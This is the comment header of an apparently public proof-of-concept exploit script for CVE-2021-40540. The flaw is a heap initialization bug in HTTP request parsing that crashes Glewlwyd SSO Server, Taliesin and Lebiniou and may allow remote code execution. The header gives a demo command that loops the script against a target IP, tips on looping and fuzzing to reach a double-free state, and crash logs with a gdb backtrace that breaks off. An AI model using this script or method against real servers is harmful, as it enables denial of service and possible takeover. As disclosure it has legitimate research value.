Some of the projects # tested and confirmed vulnerable are Glewlwyd SSO Server, Taliesin Audio Streaming Service and Lebiniou Music # Visualization Suite (web UI). # # When parsing malformed HTTP requests, a heap-related initialization bug is triggered resulting in a crash in the # server or potentially remote code execution with privileges of the running process. The affected process crashes # with either a SIGSEGV or SIGARBT + "double free" error. This repro doesn't consistently trigger the latter condition # though and it may take many tries / variations eg. looping a target package so it restarts on crashes and looping # it to send many payloads or just fuzzing the crashing requests to get it in the right state. # # CVE-2021-40540 # # Demo # # $ ./guul.py 10.0.0.2 --loop # # $ while :; do glewlwyd 2>&1 > /dev/null; done # .... # Segmentation fault (core dumped) # Segmentation fault (core dumped) # Segmentation fault (core dumped) # double free or corruption (out) # Aborted (core dumped) # # Debugger # # double free or corruption (out) # Thread 183 "MHD-connection" received signal SIGABRT, Aborted. # # (gdb) bt # 0 __GI_raise ([email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:50 # 1 0x00007ffff7afb859 in __GI_abort () at abort.c:79 # 2 0x00007ffff7b663ee in __libc_message ([email protected]=do_abort, [email protected]=0x7ffff7c90285 "%s\n") # at ../sysdeps/posix/libc_fatal.c:155 # 3 0x00007ffff7b6e47c in malloc_printerr ([email protected]=0x7ffff7c92670 "double free or corruption (out)") at malloc.c:5347 # 4 0x00007ffff7b70120 in _int_free (av=0x7ffff7cc1b80 <main_arena>, p=0x7fffe8000090, have_lock=<optimized out>) at malloc.c:4314 # 5 0x00007ffff766b035 in ??
